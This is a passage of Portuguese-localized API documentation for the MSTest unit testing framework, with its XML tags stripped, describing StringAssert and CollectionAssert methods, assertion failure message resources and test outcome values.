Converte com segurança um objeto em uma cadeia de caracteres manipulando valores e caracteres nulos. - Os valores nulos são convertidos em "(null)". Os caracteres nulos são convertidos em "\\0". - - - O objeto a ser convertido em uma cadeia de caracteres. - - - A cadeia de caracteres convertida. - - - - - A asserção da cadeia de caracteres. - - - - - Obtém a instância singleton da funcionalidade CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testa se a cadeia de caracteres especificada contém a subcadeia especificada - e gera uma exceção se a subcadeia não ocorre na - cadeia de teste. - - - A cadeia de caracteres que se espera que contenha . - - - A cadeia de caracteres que se espera que ocorra em . - - - Thrown if is not found in - . - - - - - Testa se a cadeia de caracteres especificada contém a subcadeia especificada - e gera uma exceção se a subcadeia não ocorre na - cadeia de teste. - - - A cadeia de caracteres que se espera que contenha . - - - A cadeia de caracteres que se espera que ocorra em . - - - A mensagem a ser incluída na exceção quando - não está em . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not found in - . - - - - - Testa se a cadeia de caracteres especificada contém a subcadeia especificada - e gera uma exceção se a subcadeia não ocorre na - cadeia de teste. - - - A cadeia de caracteres que se espera que contenha . - - - A cadeia de caracteres que se espera que ocorra em . - - - A mensagem a ser incluída na exceção quando - não está em . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not found in - . - - - - - Testa se a cadeia de caracteres especificada começa com a subcadeia especificada - e gera uma exceção se a cadeia de teste não começa com a - subcadeia. - - - A cadeia de caracteres que se espera que comece com . - - - A cadeia de caracteres que se espera que seja um prefixo de . - - - Thrown if does not begin with - . - - - - - Testa se a cadeia de caracteres especificada começa com a subcadeia especificada - e gera uma exceção se a cadeia de teste não começa com a - subcadeia. - - - A cadeia de caracteres que se espera que comece com . - - - A cadeia de caracteres que se espera que seja um prefixo de . - - - A mensagem a ser incluída na exceção quando - não começa com . A mensagem é - mostrada nos resultados de teste. - - - Thrown if does not begin with - . - - - - - Testa se a cadeia de caracteres especificada começa com a subcadeia especificada - e gera uma exceção se a cadeia de teste não começa com a - subcadeia. - - - A cadeia de caracteres que se espera que comece com . - - - A cadeia de caracteres que se espera que seja um prefixo de . - - - A mensagem a ser incluída na exceção quando - não começa com . A mensagem é - mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if does not begin with - . - - - - - Testa se a cadeia de caracteres especificada termina com a subcadeia especificada - e gera uma exceção se a cadeia de teste não termina com a - subcadeia. - - - A cadeia de caracteres que se espera que termine com . - - - A cadeia de caracteres que se espera que seja um sufixo de . - - - Thrown if does not end with - . - - - - - Testa se a cadeia de caracteres especificada termina com a subcadeia especificada - e gera uma exceção se a cadeia de teste não termina com a - subcadeia. - - - A cadeia de caracteres que se espera que termine com . - - - A cadeia de caracteres que se espera que seja um sufixo de . - - - A mensagem a ser incluída na exceção quando - não termina com . A mensagem é - mostrada nos resultados de teste. - - - Thrown if does not end with - . - - - - - Testa se a cadeia de caracteres especificada termina com a subcadeia especificada - e gera uma exceção se a cadeia de teste não termina com a - subcadeia. - - - A cadeia de caracteres que se espera que termine com . - - - A cadeia de caracteres que se espera que seja um sufixo de . - - - A mensagem a ser incluída na exceção quando - não termina com . A mensagem é - mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if does not end with - . - - - - - Testa se a cadeia de caracteres especificada corresponde a uma expressão regular e - gera uma exceção se a cadeia não corresponde à expressão. - - - A cadeia de caracteres que se espera que corresponda a . - - - A expressão regular com a qual se espera que tenha - correspondência. - - - Thrown if does not match - . - - - - - Testa se a cadeia de caracteres especificada corresponde a uma expressão regular e - gera uma exceção se a cadeia não corresponde à expressão. - - - A cadeia de caracteres que se espera que corresponda a . - - - A expressão regular com a qual se espera que tenha - correspondência. - - - A mensagem a ser incluída na exceção quando - não corresponde a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if does not match - . - - - - - Testa se a cadeia de caracteres especificada corresponde a uma expressão regular e - gera uma exceção se a cadeia não corresponde à expressão. - - - A cadeia de caracteres que se espera que corresponda a . - - - A expressão regular com a qual se espera que tenha - correspondência. - - - A mensagem a ser incluída na exceção quando - não corresponde a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if does not match - . - - - - - Testa se a cadeia de caracteres especificada não corresponde a uma expressão regular - e gera uma exceção se a cadeia corresponde à expressão. - - - A cadeia de caracteres que se espera que não corresponda a . - - - A expressão regular com a qual se espera que é - esperado não corresponder. - - - Thrown if matches . - - - - - Testa se a cadeia de caracteres especificada não corresponde a uma expressão regular - e gera uma exceção se a cadeia corresponde à expressão. - - - A cadeia de caracteres que se espera que não corresponda a . - - - A expressão regular com a qual se espera que é - esperado não corresponder. - - - A mensagem a ser incluída na exceção quando - corresponde a . A mensagem é mostrada nos resultados de - teste. - - - Thrown if matches . - - - - - Testa se a cadeia de caracteres especificada não corresponde a uma expressão regular - e gera uma exceção se a cadeia corresponde à expressão. - - - A cadeia de caracteres que se espera que não corresponda a . - - - A expressão regular com a qual se espera que é - esperado não corresponder. - - - A mensagem a ser incluída na exceção quando - corresponde a . A mensagem é mostrada nos resultados de - teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if matches . - - - - - Uma coleção de classes auxiliares para testar várias condições associadas - às coleções nos testes de unidade. Se a condição testada não é - atendida, uma exceção é gerada. - - - - - Obtém a instância singleton da funcionalidade CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testa se a coleção especificada contém o elemento especificado - e gera uma exceção se o elemento não está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que esteja na coleção. - - - Thrown if is not found in - . - - - - - Testa se a coleção especificada contém o elemento especificado - e gera uma exceção se o elemento não está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que esteja na coleção. - - - A mensagem a ser incluída na exceção quando - não está em . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not found in - . - - - - - Testa se a coleção especificada contém o elemento especificado - e gera uma exceção se o elemento não está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que esteja na coleção. - - - A mensagem a ser incluída na exceção quando - não está em . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not found in - . - - - - - Testa se a coleção especificada não contém o elemento - especificado e gera uma exceção se o elemento está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que não esteja na coleção. - - - Thrown if is found in - . - - - - - Testa se a coleção especificada não contém o elemento - especificado e gera uma exceção se o elemento está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que não esteja na coleção. - - - A mensagem a ser incluída na exceção quando - está em . A mensagem é mostrada nos resultados de - teste. - - - Thrown if is found in - . - - - - - Testa se a coleção especificada não contém o elemento - especificado e gera uma exceção se o elemento está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que não esteja na coleção. - - - A mensagem a ser incluída na exceção quando - está em . A mensagem é mostrada nos resultados de - teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is found in - . - - - - - Testa se todos os itens na coleção especificada são não nulos e gera - uma exceção se algum elemento é nulo. - - - A coleção na qual pesquisar elementos nulos. - - - Thrown if a null element is found in . - - - - - Testa se todos os itens na coleção especificada são não nulos e gera - uma exceção se algum elemento é nulo. - - - A coleção na qual pesquisar elementos nulos. - - - A mensagem a ser incluída na exceção quando - contém um elemento nulo. A mensagem é mostrada nos resultados de teste. - - - Thrown if a null element is found in . - - - - - Testa se todos os itens na coleção especificada são não nulos e gera - uma exceção se algum elemento é nulo. - - - A coleção na qual pesquisar elementos nulos. - - - A mensagem a ser incluída na exceção quando - contém um elemento nulo. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if a null element is found in . - - - - - Testa se todos os itens na coleção especificada são exclusivos ou não e - gera uma exceção se dois elementos na coleção são iguais. - - - A coleção na qual pesquisar elementos duplicados. - - - Thrown if a two or more equal elements are found in - . - - - - - Testa se todos os itens na coleção especificada são exclusivos ou não e - gera uma exceção se dois elementos na coleção são iguais. - - - A coleção na qual pesquisar elementos duplicados. - - - A mensagem a ser incluída na exceção quando - contém pelo menos um elemento duplicado. A mensagem é mostrada nos - resultados de teste. - - - Thrown if a two or more equal elements are found in - . - - - - - Testa se todos os itens na coleção especificada são exclusivos ou não e - gera uma exceção se dois elementos na coleção são iguais. - - - A coleção na qual pesquisar elementos duplicados. - - - A mensagem a ser incluída na exceção quando - contém pelo menos um elemento duplicado. A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if a two or more equal elements are found in - . - - - - - Testa se uma coleção é um subconjunto de outra coleção e - gera uma exceção se algum elemento no subconjunto não está também no - superconjunto. - - - A coleção que se espera que seja um subconjunto de . - - - A coleção que se espera que seja um superconjunto de - - - Thrown if an element in is not found in - . - - - - - Testa se uma coleção é um subconjunto de outra coleção e - gera uma exceção se algum elemento no subconjunto não está também no - superconjunto. - - - A coleção que se espera que seja um subconjunto de . - - - A coleção que se espera que seja um superconjunto de - - - A mensagem a ser incluída na exceção quando um elemento em - não é encontrado em . - A mensagem é mostrada nos resultados de teste. - - - Thrown if an element in is not found in - . - - - - - Testa se uma coleção é um subconjunto de outra coleção e - gera uma exceção se algum elemento no subconjunto não está também no - superconjunto. - - - A coleção que se espera que seja um subconjunto de . - - - A coleção que se espera que seja um superconjunto de - - - A mensagem a ser incluída na exceção quando um elemento em - não é encontrado em . - A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if an element in is not found in - . - - - - - Testa se uma coleção não é um subconjunto de outra coleção e - gera uma exceção se todos os elementos no subconjunto também estão no - superconjunto. - - - A coleção que se espera que não seja um subconjunto de . - - - A coleção que se espera que não seja um superconjunto de - - - Thrown if every element in is also found in - . - - - - - Testa se uma coleção não é um subconjunto de outra coleção e - gera uma exceção se todos os elementos no subconjunto também estão no - superconjunto. - - - A coleção que se espera que não seja um subconjunto de . - - - A coleção que se espera que não seja um superconjunto de - - - A mensagem a ser incluída na exceção quando todo elemento em - também é encontrado em . - A mensagem é mostrada nos resultados de teste. - - - Thrown if every element in is also found in - . - - - - - Testa se uma coleção não é um subconjunto de outra coleção e - gera uma exceção se todos os elementos no subconjunto também estão no - superconjunto. - - - A coleção que se espera que não seja um subconjunto de . - - - A coleção que se espera que não seja um superconjunto de - - - A mensagem a ser incluída na exceção quando todo elemento em - também é encontrado em . - A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if every element in is also found in - . - - - - - Testa se duas coleções contêm os mesmos elementos e gera uma - exceção se alguma das coleções contém um elemento que não está presente na outra - coleção. - - - A primeira coleção a ser comparada. Ela contém os elementos esperados pelo - teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testa se duas coleções contêm os mesmos elementos e gera uma - exceção se alguma das coleções contém um elemento que não está presente na outra - coleção. - - - A primeira coleção a ser comparada. Ela contém os elementos esperados pelo - teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - A mensagem a ser incluída na exceção quando um elemento foi encontrado - em uma das coleções, mas não na outra. A mensagem é mostrada - nos resultados de teste. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testa se duas coleções contêm os mesmos elementos e gera uma - exceção se alguma das coleções contém um elemento que não está presente na outra - coleção. - - - A primeira coleção a ser comparada. Ela contém os elementos esperados pelo - teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - A mensagem a ser incluída na exceção quando um elemento foi encontrado - em uma das coleções, mas não na outra. A mensagem é mostrada - nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testa se duas coleções contêm elementos diferentes e gera uma - exceção se as duas coleções contêm elementos idênticos sem levar em consideração - a ordem. - - - A primeira coleção a ser comparada. Ela contém os elementos que o teste - espera que sejam diferentes em relação à coleção real. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testa se duas coleções contêm elementos diferentes e gera uma - exceção se as duas coleções contêm elementos idênticos sem levar em consideração - a ordem. - - - A primeira coleção a ser comparada. Ela contém os elementos que o teste - espera que sejam diferentes em relação à coleção real. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - A mensagem a ser incluída na exceção quando - contém os mesmos elementos que . A mensagem - é mostrada nos resultados de teste. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testa se duas coleções contêm elementos diferentes e gera uma - exceção se as duas coleções contêm elementos idênticos sem levar em consideração - a ordem. - - - A primeira coleção a ser comparada. Ela contém os elementos que o teste - espera que sejam diferentes em relação à coleção real. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - A mensagem a ser incluída na exceção quando - contém os mesmos elementos que . A mensagem - é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testa se todos os elementos na coleção especificada são instâncias - do tipo esperado e gera uma exceção se o tipo esperado não - está na hierarquia de herança de um ou mais dos elementos. - - - A coleção que contém elementos que o teste espera que sejam do - tipo especificado. - - - O tipo esperado de cada elemento de . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testa se todos os elementos na coleção especificada são instâncias - do tipo esperado e gera uma exceção se o tipo esperado não - está na hierarquia de herança de um ou mais dos elementos. - - - A coleção que contém elementos que o teste espera que sejam do - tipo especificado. - - - O tipo esperado de cada elemento de . - - - A mensagem a ser incluída na exceção quando um elemento em - não é uma instância de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testa se todos os elementos na coleção especificada são instâncias - do tipo esperado e gera uma exceção se o tipo esperado não - está na hierarquia de herança de um ou mais dos elementos. - - - A coleção que contém elementos que o teste espera que sejam do - tipo especificado. - - - O tipo esperado de cada elemento de . - - - A mensagem a ser incluída na exceção quando um elemento em - não é uma instância de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Determina se a primeira coleção é um subconjunto da segunda - coleção. Se os conjuntos contiverem elementos duplicados, o número - de ocorrências do elemento no subconjunto deverá ser menor ou igual - ao número de ocorrências no superconjunto. - - - A coleção que o teste espera que esteja contida em . - - - A coleção que o teste espera que contenha . - - - Verdadeiro se é um subconjunto de - , caso contrário, falso. - - - - - Cria um dicionário contendo o número de ocorrências de cada - elemento na coleção especificada. - - - A coleção a ser processada. - - - O número de elementos nulos na coleção. - - - Um dicionário contendo o número de ocorrências de cada elemento - na coleção especificada. - - - - - Encontra um elemento incompatível entre as duas coleções. Um elemento - incompatível é aquele que aparece um número diferente de vezes na - coleção esperada em relação à coleção real. É pressuposto que - as coleções sejam referências não nulas diferentes com o - mesmo número de elementos. O chamador é responsável por esse nível de - verificação. Se não houver nenhum elemento incompatível, a função retornará - falso e os parâmetros de saída não deverão ser usados. - - - A primeira coleção a ser comparada. - - - A segunda coleção a ser comparada. - - - O número esperado de ocorrências de - ou 0 se não houver nenhum elemento - incompatível. - - - O número real de ocorrências de - ou 0 se não houver nenhum elemento - incompatível. - - - O elemento incompatível (poderá ser nulo) ou nulo se não houver nenhum - elemento incompatível. - - - verdadeiro se um elemento incompatível foi encontrado. Caso contrário, falso. - - - - - compara os objetos usando object.Equals - - - - - Classe base para exceções do Framework. - - - - - Inicializa uma nova instância da classe . - - - - - Inicializa uma nova instância da classe . - - A mensagem. - A exceção. - - - - Inicializa uma nova instância da classe . - - A mensagem. - - - - Uma classe de recurso fortemente tipada para pesquisar cadeias de caracteres localizadas, etc. - - - - - Retorna a instância de ResourceManager armazenada em cache usada por essa classe. - - - - - Substitui a propriedade CurrentUICulture do thread atual em todas - as pesquisas de recursos usando essa classe de recurso fortemente tipada. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres de acesso tem sintaxe inválida. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A coleção esperada contém {1} ocorrência(s) de <{2}>. A coleção real contém {3} ocorrência(s). {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Item duplicado encontrado:<{1}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperado:<{1}>. Maiúsculas e minúsculas diferentes para o valor real:<{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperada uma diferença não maior que <{3}> entre o valor esperado <{1}> e o valor real <{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperado:<{1} ({2})>. Real:<{3} ({4})>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperado:<{1}>. Real:<{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperada uma diferença maior que <{3}> entre o valor esperado <{1}> e o valor real <{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a É esperado qualquer valor, exceto:<{1}>. Real:<{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Não passe tipos de valores para AreSame(). Os valores convertidos em Object nunca serão os mesmos. Considere usar AreEqual(). {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante à Falha em {0}. {1}. - - - - - Pesquisa uma cadeia de caracteres localizada similar a TestMethod assíncrono com UITestMethodAttribute sem suporte. Remova o assíncrono ou use o TestMethodAttribute. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Ambas as coleções estão vazias. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Ambas as coleções contêm os mesmos elementos. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Ambas as referências de coleções apontam para o mesmo objeto de coleção. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Ambas as coleções contêm os mesmos elementos. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a {0}({1}). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a (nulo). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a (objeto). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' não contém a cadeia de caracteres '{1}'. {2}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a {0} ({1}). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Assert.Equals não deve ser usado para Asserções. Use Assert.AreEqual e sobrecargas em seu lugar. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O número de elementos nas coleções não corresponde. Esperado:<{1}>. Real:<{2}>.{0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O elemento no índice {0} não corresponde. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O elemento no índice {1} não é de tipo esperado. Tipo esperado:<{2}>. Tipo real:<{3}>.{0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O elemento no índice {1} é (nulo). Tipo esperado:<{2}>.{0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' não termina com a cadeia de caracteres '{1}'. {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Argumento inválido – EqualsTester não pode usar nulos. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Não é possível converter objeto do tipo {0} em {1}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O objeto interno referenciado não é mais válido. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O parâmetro '{0}' é inválido. {1}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A propriedade {0} é do tipo {1}; tipo esperado {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a {0} Tipo esperado:<{1}>. Tipo real:<{2}>.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' não corresponde ao padrão '{1}'. {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Tipo incorreto:<{1}>. Tipo real:<{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' corresponde ao padrão '{1}'. {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Nenhum DataRowAttribute especificado. Pelo menos um DataRowAttribute é necessário com DataTestMethodAttribute. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Nenhuma exceção gerada. A exceção {1} era esperada. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O parâmetro '{0}' é inválido. O valor não pode ser nulo. {1}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Número diferente de elementos. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a - O construtor com a assinatura especificada não pôde ser encontrado. Talvez seja necessário gerar novamente seu acessador particular - ou o membro pode ser particular e definido em uma classe base. Se o último for verdadeiro, será necessário passar o tipo - que define o membro no construtor do PrivateObject. - . - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a - O membro especificado ({0}) não pôde ser encontrado. Talvez seja necessário gerar novamente seu acessador particular - ou o membro pode ser particular e definido em uma classe base. Se o último for verdadeiro, será necessário passar o tipo - que define o membro no construtor do PrivateObject. - . - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' não começa com a cadeia de caracteres '{1}'. {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O tipo de exceção esperado deve ser System.Exception ou um tipo derivado de System.Exception. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a (Falha ao obter a mensagem para uma exceção do tipo {0} devido a uma exceção.). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O método de teste não gerou a exceção esperada {0}. {1}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O método de teste não gerou uma exceção. Uma exceção era esperada pelo atributo {0} definido no método de teste. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O método de teste gerou a exceção {0}, mas era esperada a exceção {1}. Mensagem de exceção: {2}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O método de teste gerou a exceção {0}, mas era esperado a exceção {1} ou um tipo derivado dela. Mensagem de exceção: {2}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Exceção gerada {2}, mas a exceção {1} era esperada. {0} - Mensagem de Exceção: {3} - Rastreamento de Pilha: {4}. - - - - - resultados de teste de unidade - - - - - O teste foi executado, mas ocorreram problemas. - Os problemas podem envolver exceções ou asserções com falha. - - - - - O teste foi concluído, mas não é possível dizer se houve aprovação ou falha. - Pode ser usado para testes anulados. - - - - - O teste foi executado sem nenhum problema. - - - - - O teste está em execução no momento. - - - - - Ocorreu um erro de sistema ao tentarmos executar um teste. - - - - - O tempo limite do teste foi atingido. - - - - - O teste foi anulado pelo usuário. - - - - - O teste está em um estado desconhecido - - - - - Fornece funcionalidade auxiliar para a estrutura do teste de unidade - - - - - Obtém as mensagens de 